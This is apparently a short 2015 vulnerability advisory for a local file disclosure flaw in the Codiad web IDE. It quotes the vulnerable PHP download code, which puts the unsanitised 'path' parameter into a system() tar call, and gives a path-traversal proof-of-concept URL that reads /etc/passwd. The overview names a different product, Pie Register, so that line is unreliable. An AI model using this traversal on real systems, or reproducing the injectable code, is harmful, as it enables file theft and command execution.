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[+]Title: Codiad v2.5.3 - LFI Vulnerability [+]Author: TUNISIAN CYBER [+]Date: 12/03/2015 [+]Type:WebApp [+]Risk:High [+]Overview: Pie Register 2.x suffers, from a Local File Disclosure vulnerability. [+]Proof Of Concept: [PHP] ////////////////////////////////////////////////////////////////// // Run Download ////////////////////////////////////////////////////////////////// if(isset($_GET['type']) && ($_GET['type']=='directory' || $_GET['type']=='root')){ // Create tarball $filename = explode("/",$_GET['path']); //$filename = array_pop($filename) . "-" . date('Y.m.d') . ".tar.gz"; $filename = array_pop($filename) . "-" . date('Y.m.d'); $targetPath = DATA . '/'; $dir = WORKSPACE . '/' . $_GET['path']; if(!is_dir($dir)){ exit('<script>parent.codiad.message.error("Directory not found.")</script>'); } ////////////////////////////////////////////////////////////////// // Check system() command and a non windows OS ////////////////////////////////////////////////////////////////// if(isAvailable('system') && stripos(PHP_OS, 'win') === false){ # Execute the tar command and save file $filename .= '.tar.gz'; system("tar -pczf ".$targetPath.$filename." -C ".WORKSPACE." ".$_GET['path']); $download_file = $targetPath.$filename; }elseif(extension_loaded('zip')){ //Check if zip-Extension is availiable //build zipfile require_once 'class.dirzip.php'; $filename .= '.zip'; $download_file = $targetPath.$filename; DirZip::zipDir($dir, $targetPath .$filename); }else{ exit('<script>parent.codiad.message.error("Could not pack the folder, zip-extension missing")</script>'); } }else{ $filename = explode("/",$_GET['path']); $filename = array_pop($filename); $download_file = WORKSPACE . '/' . $_GET['path']; } [PHP] http://demo.codiad.com/i/197156553/components/filemanager/download.php?path=../../../../../../../../../../../etc/passwd&type=undefined |
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